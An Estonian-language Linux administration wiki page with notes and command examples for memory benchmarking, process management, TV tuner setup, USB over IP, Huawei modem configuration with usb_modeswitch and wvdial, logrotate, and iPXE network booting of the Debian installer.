 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Data)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Instruction)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 2 Cache: 6144K (Unified)&lt;br /&gt;
 ... &lt;br /&gt;
 Total CPU system cache: 25296896 bytes&lt;br /&gt;
 Suggested minimum array elements needed: 11498589&lt;br /&gt;
 Array elements used: 11498589 &lt;br /&gt;
 &lt;br /&gt;
 === CPU Core Summary ===&lt;br /&gt;
 processor       : 3&lt;br /&gt;
 model name      : Intel(R) Core(TM)2 Quad  CPU   Q9550  @ 2.83GHz&lt;br /&gt;
 cpu MHz         : 1998.000&lt;br /&gt;
 siblings        : 4&lt;br /&gt;
 &lt;br /&gt;
 === Testing up to 4 cores ===&lt;br /&gt;
 ...&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Copy:        4101.0477       0.0453       0.0449       0.0456&lt;br /&gt;
 Scale:       4121.7264       0.0451       0.0446       0.0458&lt;br /&gt;
 Add:         4982.5056       0.0557       0.0554       0.0560&lt;br /&gt;
 Triad:       5001.9268       0.0556       0.0552       0.0561&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Solution Validates&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 2&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       5002.6618       0.0566       0.0552       0.0610 &lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 3&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4892.7425       0.0577       0.0564       0.0607&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 4&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4784.1065       0.0582       0.0577       0.0589&lt;br /&gt;
&lt;br /&gt;
Mälu jõudlust on eriti mõtet hinnata selleks, et võrrelda olemasolevat süsteemi uuega, millega olemasolev kavatsetakse asendada.&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse haldamine===&lt;br /&gt;
&lt;br /&gt;
* IO&lt;br /&gt;
&lt;br /&gt;
 # ionice -c 3 -p 1919&lt;br /&gt;
&lt;br /&gt;
* CPU&lt;br /&gt;
&lt;br /&gt;
 # renice ...&lt;br /&gt;
&lt;br /&gt;
===Protsesside haldamine===&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside nimekirja nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -a -f -u postgres&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside ja vastavate lõimede nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -aLf -u postgres&lt;br /&gt;
&lt;br /&gt;
====Protsesside grupp====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ps -efj | less&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdftk kasutamine===&lt;br /&gt;
&lt;br /&gt;
pdftk http://www.pdflabs.com/docs/install-pdftk/ paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdftk&lt;br /&gt;
&lt;br /&gt;
===tvtime kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install tvtime&lt;br /&gt;
&lt;br /&gt;
ning näidata&lt;br /&gt;
&lt;br /&gt;
 Please choose the TV standard to use -&amp;gt; PAL&lt;br /&gt;
 Please choose the frequency table to use -&amp;gt; Custom (must run tvtime-scanner first)&lt;br /&gt;
 Please choose the video4linux device which corresponds to your capture card -&amp;gt; /dev/video0&lt;br /&gt;
 Please choose the device that will be used in NTSC areas for decoding closed captions and XDS channel information; Device to use for VBI decoding -&amp;gt; /dev/vbi0&lt;br /&gt;
 Please choose whether tvtime should be &amp;quot;setuid root&amp;quot;, therefore getting root privileges when running -&amp;gt; No&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida TV kaardile vastav draiver, nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # rmmod saa7134&lt;br /&gt;
 # modprobe saa7134 card=21 tuner=26&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* card sobiv valik tagab pildi&lt;br /&gt;
* tuner sobiv valik tagab heli&lt;br /&gt;
&lt;br /&gt;
Seejärel skaneerida kanalid&lt;br /&gt;
&lt;br /&gt;
 $ tvtime-scanner &lt;br /&gt;
 Reading configuration from /etc/tvtime/tvtime.xml&lt;br /&gt;
 Scanning using TV standard PAL.&lt;br /&gt;
 Scanning from  44.00 MHz to 958.00 MHz.&lt;br /&gt;
 Found a channel at 607.00 MHz (605.50 - 608.25 MHz), adding to channel list.&lt;br /&gt;
 I/O warning : failed to load external entity &amp;quot;/home/imre/.tvtime/stationlist.xml&amp;quot;&lt;br /&gt;
 station: No station file found, creating a new one.&lt;br /&gt;
&lt;br /&gt;
ning käivitada tvtime programm&lt;br /&gt;
&lt;br /&gt;
 # tvtime&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://sites.google.com/site/jobinau2/saa7130basedtvtunercardunderlinux&lt;br /&gt;
&lt;br /&gt;
===PAM===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine pam_unix abil====&lt;br /&gt;
&lt;br /&gt;
/etc/shadow failis on üldiselt toetatud sellised räsid&lt;br /&gt;
&lt;br /&gt;
* $1$ - MD5&lt;br /&gt;
* $2a$ - blowfish&lt;br /&gt;
* $5$ - SHA-256&lt;br /&gt;
* $6$ - SHA-512&lt;br /&gt;
&lt;br /&gt;
Kui osutab, et /etc/shadow ei tööta, st nt peale süsteemi uuendamist kasutaja sisestab õige parooli kuid ei saa sisse logida, siis tõenäoliselt ei sobi kokku /etc/pam.d/* seadistusfailid /etc/shadow sisuga.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://digitalconsumption.com/forum/615-Blowfish-shadow-files-on-Debian&lt;br /&gt;
&lt;br /&gt;
===Gnome-shell===&lt;br /&gt;
&lt;br /&gt;
Gnome shell http://en.wikipedia.org/wiki/GNOME_Shell on ... ja kasutamine eeldab&lt;br /&gt;
&lt;br /&gt;
* 3D toega videokaardi olemasolu, kusjuures kaart peab nö sobima (nt Radeon HD 3600 fglrx draiveriga annab vigu nö olulises kohas, GeForce 7600 GS nouveau draiveriga sobib)&lt;br /&gt;
&lt;br /&gt;
Olulised asjad&lt;br /&gt;
&lt;br /&gt;
* extensions&lt;br /&gt;
* gnome-tweak-tool&lt;br /&gt;
&lt;br /&gt;
===USB over IP===&lt;br /&gt;
&lt;br /&gt;
USB over IP tarkvara http://usbip.sourceforge.net/ abil saab teha ühe arvuti füüsilised USB seadme üle võrgu kasutatavaks teisest avutist.&lt;br /&gt;
&lt;br /&gt;
Praktiliselt voib olla hada sellest, et user space ja kernel space tarkvara ei sobi kokku. Nt tundub, et Ubuntu (sh v. 14.04) paketihalduses on usbip v. 0.7, aga tuumas talle vajalikke mooduleid pole. Teine variant on, et kasutada saab usbip v. 1.1, millega tuuma moodulid naikse paremini kokku sobivat. Debian Jessie sisaldab 2014 aasta suvel v. 1.1 tarvkara ja see paistab töötavat.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Tarkvara paigaldamine====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigladamiseks sobib mõlemas arvuti öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install usbip&lt;br /&gt;
&lt;br /&gt;
Paigaldamise tulemusena tekib failisysteemi muu hulgas&lt;br /&gt;
&lt;br /&gt;
* usbip - utiliit serveri seadistamiseks ja kliendi juhtimiseks&lt;br /&gt;
* usbipd - serveri poolel tootav deemon&lt;br /&gt;
&lt;br /&gt;
====Serveri poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodulid&lt;br /&gt;
&lt;br /&gt;
 server:~# modprobe usbip_core&lt;br /&gt;
 server:~# modprobe usbip_host&lt;br /&gt;
&lt;br /&gt;
Käivitada usbipd deemon, kuulab vaikimisi 3240/tcp pordil&lt;br /&gt;
&lt;br /&gt;
 server:~# usbipd&lt;br /&gt;
&lt;br /&gt;
USB seadmete serveris olevate USB seadmete nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip list --local&lt;br /&gt;
 Local USB devices&lt;br /&gt;
 =================&lt;br /&gt;
 - busid 1-1 (8087:0024)&lt;br /&gt;
   Intel Corp. : Integrated Rate Matching Hub (8087:0024)&lt;br /&gt;
         1-1:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.2 (0781:5530)&lt;br /&gt;
   SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
         1-1.2:1.0 -&amp;gt; usb-storage&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4 (0424:2514)&lt;br /&gt;
   Standard Microsystems Corp. : USB 2.0 Hub (0424:2514)&lt;br /&gt;
         1-1.4:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.3 (046d:c31d)&lt;br /&gt;
   Logitech, Inc. : Media Keyboard K200 (046d:c31d)&lt;br /&gt;
         1-1.4.3:1.0 -&amp;gt; usbhid&lt;br /&gt;
         1-1.4.3:1.1 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.4 (046d:c05a)&lt;br /&gt;
   Logitech, Inc. : M90/M100 Optical Mouse (046d:c05a)&lt;br /&gt;
         1-1.4.4:1.0 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.5 (04e6:e001)&lt;br /&gt;
   SCM Microsystems, Inc. : SCR331 SmartCard Reader (04e6:e001)&lt;br /&gt;
         1-1.5:1.0 -&amp;gt; usbfs&lt;br /&gt;
&lt;br /&gt;
Seadme eksportimiseks sobib oelda, nt Cruizer USB pulk jaoks&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip bind -b 1-1.2&lt;br /&gt;
 bind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
Tulemusena on --list väljundis vastav seade&lt;br /&gt;
&lt;br /&gt;
  - busid 1-1.2 (0781:5530)&lt;br /&gt;
    SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
          1-1.2:1.0 -&amp;gt; usbip-host&lt;br /&gt;
&lt;br /&gt;
====Kliendi poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodul&lt;br /&gt;
&lt;br /&gt;
 klient:~# modprobe vhci_hcd&lt;br /&gt;
&lt;br /&gt;
Eksporditud seadmete nimekirja küsimiseks sobib öelda kliendi arvutis&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip list -r 192.168.10.10&lt;br /&gt;
 Exportable USB devices&lt;br /&gt;
 ======================&lt;br /&gt;
 - 192.168.10.10&lt;br /&gt;
      1-1.2: SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
           : /sys/devices/pci0000:00/0000:00:07.0/usb1/1-1/1-1.2&lt;br /&gt;
           : (Defined at Interface level) (00/00/00)&lt;br /&gt;
           :  0 - Mass Storage / SCSI / Bulk-Only (08/06/50)&lt;br /&gt;
&lt;br /&gt;
Seadme kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip attach -r 192.168.10.10 -b 1-1.2&lt;br /&gt;
&lt;br /&gt;
Seejärel on seade paistab nagu kohalik seade ja on valmis kasutamiseks, nt&lt;br /&gt;
&lt;br /&gt;
 klient:~# lsusb &lt;br /&gt;
 Bus 009 Device 004: ID 0781:5530 SanDisk Corp. Cruzer&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
ja usbip spetsiifilisemalt&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip port&lt;br /&gt;
 Imported USB devices&lt;br /&gt;
 ====================&lt;br /&gt;
 Port 00: &amp;lt;Port in Use&amp;gt; at High Speed(480Mbps)&lt;br /&gt;
       unknown vendor : unknown product (0781:5530)&lt;br /&gt;
       9-1 -&amp;gt; usbip://192.168.10.10:3240/1-1.2&lt;br /&gt;
           -&amp;gt; remote bus/dev 001/037&lt;br /&gt;
&lt;br /&gt;
Kasutamise lõpetamiseks sobib öelda kasutades vhci_hcd pordi numbrit&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip detach --port=0&lt;br /&gt;
&lt;br /&gt;
====Serveri poolel kasutamise lõpetamine====&lt;br /&gt;
&lt;br /&gt;
Peale seda kui kliendi pool on seadme kasutamine lõpetatud, öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip unbind -b 1-1.2&lt;br /&gt;
 unbind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.howtoforge.com/how-to-set-up-a-usb-over-ip-server-and-client-with-debian-lenny&lt;br /&gt;
* https://www.kernel.org/doc/readme/drivers-staging-usbip-userspace-README&lt;br /&gt;
&lt;br /&gt;
===Töötamine failisüsteemiga===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on häda miinus märgiga failidega töötamisel, -- võtme kasutamine aitab, nt '-failinimi' nimelise faili kustutamisel&lt;br /&gt;
&lt;br /&gt;
 $ rm -- -failinimi&lt;br /&gt;
&lt;br /&gt;
===USB netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB netipulga kasutamine koosneb kahest osast&lt;br /&gt;
&lt;br /&gt;
* arvutis peavad olema /dev/ttyUSB* nimelised usb serial seadmed&lt;br /&gt;
* ppp ühenduse loomiseks tuleb kasutada sobivat programmi, wvdial, Gnome desktopilt midagi vms&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui netipulk ei tööta automaatselt, siis võib olla probleem selles, et süsteem tunneb ta ära storage seadmena ja mitte võrguseadmena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[11360165.312014] usb 1-4: new high-speed USB device number 10 using ehci-pci&lt;br /&gt;
[11360165.458578] usb 1-4: New USB device found, idVendor=12d1, idProduct=1505&lt;br /&gt;
[11360165.458734] usb 1-4: New USB device strings: Mfr=3, Product=2, SerialNumber=0&lt;br /&gt;
[11360165.458900] usb 1-4: Product: HUAWEI Mobile&lt;br /&gt;
[11360165.459001] usb 1-4: Manufacturer: Huawei Technologies&lt;br /&gt;
[11360165.460790] usb-storage 1-4:1.0: USB Mass Storage device detected&lt;br /&gt;
[11360165.461082] scsi10 : usb-storage 1-4:1.0&lt;br /&gt;
[11360166.461381] scsi 10:0:0:0: CD-ROM            HUAWEI   Mass Storage     2.31 PQ: 0 ANSI: 0&lt;br /&gt;
[11360166.478285] sr1: scsi-1 drive&lt;br /&gt;
[11360166.478582] sr 10:0:0:0: Attached scsi CD-ROM sr1&lt;br /&gt;
[11360166.478694] sr 10:0:0:0: Attached scsi generic sg5 type 5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
usb-modeswitch paketi tarkvara teeb temast võrguseadme.&lt;br /&gt;
&lt;br /&gt;
====/dev/ttyUSB* seadmete tekitamine====&lt;br /&gt;
&lt;br /&gt;
E392 kirjaga netipulk paistab faili usb.ids tõttu&lt;br /&gt;
&lt;br /&gt;
 # grep 1505 /var/lib/usbutils/usb.ids&lt;br /&gt;
        1505  E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
lsusb väljundis E398&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 041: ID 12d1:1505 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
Kusjuures /dev kataloogis pole usb serialile vastavaid faili, st /dev/ttyUSB* nimelisi.&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks sobib tekitada fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/usb_modeswitch.d/12d1\:1505 &lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 &lt;br /&gt;
 DefaultVendor=  0x12d1&lt;br /&gt;
 DefaultProduct= 0x1505&lt;br /&gt;
 &lt;br /&gt;
 TargetVendor=  0x12d1&lt;br /&gt;
 TargetProductList=0x1506&lt;br /&gt;
 &lt;br /&gt;
 MessageContent=&amp;quot;55534243123456780000000000000011062000000100000000000000000000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning lisada faili /lib/udev/rules.d/40-usb_modeswitch.rules lõpupoole rida&lt;br /&gt;
&lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 ATTRS{idVendor}==&amp;quot;12d1&amp;quot;, ATTRS{idProduct}==&amp;quot;1505&amp;quot;, RUN+=&amp;quot;usb_modeswitch '%b/%k'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Seejärel võtta pulk usb pesast välja ja uuesti sisse panna, lsusb väljundis peaks nüüd olema, 1506 -&amp;gt; 1505 muutunud&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 043: ID 12d1:1506 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
ning lisaks tekkinud seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Dec 20 01:27 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Dec 20 01:16 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Dec 20 01:16 /dev/ttyUSB2&lt;br /&gt;
&lt;br /&gt;
Tundub, et kui systemd millegipärast ei taha käivitada sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # /usr/sbin/usb_modeswitch --default-vendor 0x12d1 --default-product 0x1505 -J&lt;br /&gt;
&lt;br /&gt;
====wvdial kasutamine====&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf &lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = &lt;br /&gt;
 Username = &lt;br /&gt;
 Password = &lt;br /&gt;
 New PPPD = yes&lt;br /&gt;
 &lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
 Phone = *99#&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Username = &amp;quot; &amp;quot;&lt;br /&gt;
 Password = &amp;quot; &amp;quot;&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Init1 = ATZ&lt;br /&gt;
 Init2 = at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # wvdial&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.61&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Fri Dec 20 01:35:25 2013&lt;br /&gt;
 --&amp;gt; Pid of pppd: 17139&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; local  IP address 10.128.53.223&lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; primary   DNS address 217.71.33.151&lt;br /&gt;
 --&amp;gt; secondary DNS address 217.71.33.150&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib ppp0 seade üle mille saab liiklust ruutida (teiste arvutite liiklust tuleb src nat'tida)&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:10.128.77.124  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:70 (70.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://trisquel.info/en/forum/install-huawei-e392-usb-lte-drivers&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?t=681&lt;br /&gt;
* http://blog.bluedrive.ro/?p=28&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/&lt;br /&gt;
* https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/889878&lt;br /&gt;
* http://importgeek.wordpress.com/tag/12d11505/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/&lt;br /&gt;
* http://oliver.tele2.ee/kuidas-huawei-e1752-ja-ubuntu-10-04-kasikaes-internetti-lahevad/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?f=4&amp;amp;t=891&amp;amp;p=5898&amp;amp;hilit=12d1%3A1505#p5898&lt;br /&gt;
&lt;br /&gt;
===zip arhivaatori kasutamine===&lt;br /&gt;
&lt;br /&gt;
Parooliga kaitstud arhiivi moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ zip -r --password parool katalooginimi.zip katalooginimi&lt;br /&gt;
&lt;br /&gt;
===Pipe viewer===&lt;br /&gt;
&lt;br /&gt;
Pipe viewer programmiga saab jälgida läbi toru mineva progressi. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # timeout 10 cat /dev/zero | pv &amp;gt; /dev/null&lt;br /&gt;
 4GB 0:00:07 [1.91GB/s] [               &amp;lt;=&amp;gt;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
===AUFS===&lt;br /&gt;
&lt;br /&gt;
AUFS http://aufs.sourceforge.net/ võimaldab mitme kataloogi sisu esitada ühes nö virtuaalses kataloogis. Alternatiivne võimalus on seda saavutada UnionFS abil.&lt;br /&gt;
&lt;br /&gt;
 # mount -t aufs -o dirs=/tmp/kata1:/tmp/kata2:/root/kata3 none /tmp/dir&lt;br /&gt;
&lt;br /&gt;
===Network manager===&lt;br /&gt;
&lt;br /&gt;
Lisaks Network manager graafilisele kasutajaliidesele on olemas ka käsurea utiliit nmcli&lt;br /&gt;
&lt;br /&gt;
 # nmcli -p dev&lt;br /&gt;
 ================================================&lt;br /&gt;
                Status of devices&lt;br /&gt;
 ================================================&lt;br /&gt;
 DEVICE      TYPE         STATE      CONNECTION &lt;br /&gt;
 ------------------------------------------------&lt;br /&gt;
 docker0     bridge       connected  docker0    &lt;br /&gt;
 vetha88a    ethernet     connected  vetha88a   &lt;br /&gt;
 br0         openvswitch  connected  br0        &lt;br /&gt;
 br3         openvswitch  connected  br3        &lt;br /&gt;
 tep0        openvswitch  connected  tep0       &lt;br /&gt;
 eth0        ethernet     unmanaged  --         &lt;br /&gt;
 lo          loopback     unmanaged  --         &lt;br /&gt;
 ovs-system  openvswitch  unmanaged  --         &lt;br /&gt;
&lt;br /&gt;
===Skänneri kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install &lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/ScanningHowTo&lt;br /&gt;
* http://www.sane-project.org/sane-backends.html&lt;br /&gt;
&lt;br /&gt;
===Logrotate===&lt;br /&gt;
&lt;br /&gt;
Näitab, mis toimub, aga midagi failisüsteemis vms ei tee&lt;br /&gt;
&lt;br /&gt;
 # logrotate -d /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Teeb nö jõuga&lt;br /&gt;
&lt;br /&gt;
 # logrotate -f /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Roteeritud failide nimedes kuupäeva kasutamiseks sobib logrotate seadistusfailide vastavates sektsioonides kasutada lisaks rida&lt;br /&gt;
&lt;br /&gt;
 dateext&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on nt&lt;br /&gt;
&lt;br /&gt;
 /var/log/apache2/access.log-20140922.gz&lt;br /&gt;
&lt;br /&gt;
===iPXE===&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis mainitud dhcp serveri tarkvarana sobib kasutada paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
ja tftpd serverina paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
iPXE tarkvara paketist&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ipxe&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui on kasutada nö tavalise PXE toega võrgukaardiga arvuti, siis üks viis iPXE tarkvara kasutamiseks on laadida see dhcp + tftp serverilt, nt sellise sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* undionly.kpxe - paketist 'apt-get install ipxe'&lt;br /&gt;
&lt;br /&gt;
Tulemusena ilmub vastava arvuti ekraanile iPXE ja Ctrl-B abil saab siseneda iPXE keskkonda. Nt võrgust Debian Jessie installeri käivitamine toimub sedasi&lt;br /&gt;
&lt;br /&gt;
 chain http://ftp.imool.ee/pub/incoming/imre/dj-install.ipxe&lt;br /&gt;
&lt;br /&gt;
kus pöördutaval aadressil on tekst sisuga&lt;br /&gt;
&lt;br /&gt;
 # cat dj-install.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 kernel http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/linux&lt;br /&gt;
 initrd http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/initrd.gz&lt;br /&gt;
 boot&lt;br /&gt;
&lt;br /&gt;
Seejärel käivitab Debian installer. Paistab, et Jessie oskab iSCSI peale paigaldada.&lt;br /&gt;
&lt;br /&gt;
'chain' ütlemist saab automatiseerida nt sellise DHCP serveri sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
   if exists user-class and option user-class = &amp;quot;iPXE&amp;quot; {&lt;br /&gt;
     filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/ipxe&amp;quot;;&lt;br /&gt;
   } else {&lt;br /&gt;
      filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
}   &lt;br /&gt;
&lt;br /&gt;
* esmalt klient arvuti töötab PXE abil DHCP kliendina ja laaditakse undionly.kpxe&lt;br /&gt;
* seejärel klient arvuti töötab iPXE abil DHCP kliendina ja pöördutakse http://ftp.imool.ee/pub/incoming/imre/ipxe poole&lt;br /&gt;
&lt;br /&gt;
====Debian v. 8 Jessie kasutamine diskless iSCSI kliendina====&lt;br /&gt;
&lt;br /&gt;
